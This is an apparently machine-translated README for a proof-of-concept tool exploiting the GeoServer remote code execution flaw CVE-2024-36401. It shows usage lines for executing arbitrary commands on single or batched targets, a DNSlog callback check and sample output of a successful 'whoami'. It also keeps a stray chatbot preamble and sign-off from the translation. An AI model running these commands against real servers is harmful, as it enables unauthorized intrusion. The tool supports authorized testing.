CVE-2024-36401_Geoserver_RCE_POC

Here is the English translation of your README file:

⚠️ Disclaimer: This tool is intended solely for security research and legally authorized testing purposes. Do not use it for any illegal or unauthorized activities. The user assumes full responsibility for any legal consequences.

README Version: [English | 中文]

Vulnerability Description

This script is a Proof of Concept (PoC) detection tool for a Remote Code Execution (RCE) vulnerability in GeoServer (CVE-2024-36401). This vulnerability allows attackers to execute arbitrary commands on the target server by sending specially crafted requests.

Environment Dependencies

Ensure the following dependencies are installed in your environment:

• Python 3.x
• Third-party libraries:
  • requests
  • lxml

You can install the required dependencies using the following command:

pip install requests lxml

Usage Instructions

Single Target Detection

python poc.py -u http://target.com -d dnslog.example.com

Or specify a command to execute:

python poc.py -u http://target.com -c "touch /tmp/vulntest"

Batch Detection for Multiple Targets

Prepare a text file containing multiple target URLs (one per line):

python poc.py -uf targets.txt -d dnslog.example.com

Or specify a command:

python poc.py -uf targets.txt -c "id"

For detailed usage instructions: Detailed User Guide

Parameter Descriptions

⚠️ Note: The -d and -c parameters cannot be used simultaneously.

Output Example

[INFO] Retrieved 3 valid Typenames, starting vulnerability detection.
[INFO] Target: http://example.com
[INFO] Executing command: whoami
[INFO] DNSLOG address:

[INFO] Trying typeName: topp:states -> whoami
[+] Command appears to have executed successfully! Target: http://example.com Command: whoami

Script Features

• Fixes issues in the Nuclei PoC where hardcoded Typenames caused validation failures.
• Automatically crawls all Typename information and iteratively tests exploitable ones.
• Supports command execution via the -c parameter.
• Supports batch testing by providing a URL file.

Security Recommendations

• Upgrade GeoServer to the latest official version as soon as possible.
• Implement access control for publicly exposed GeoServer instances.
• Configure firewalls to restrict access sources for the /geoserver/wfs interface.

Contributions

Feel free to open Issues or submit Pull Requests to help improve this project.

License

This project is licensed under the MIT License. You are free to modify, distribute, or use the software commercially, provided that the original copyright notice is retained.

Let me know if you need any formatting adjustments or further translations!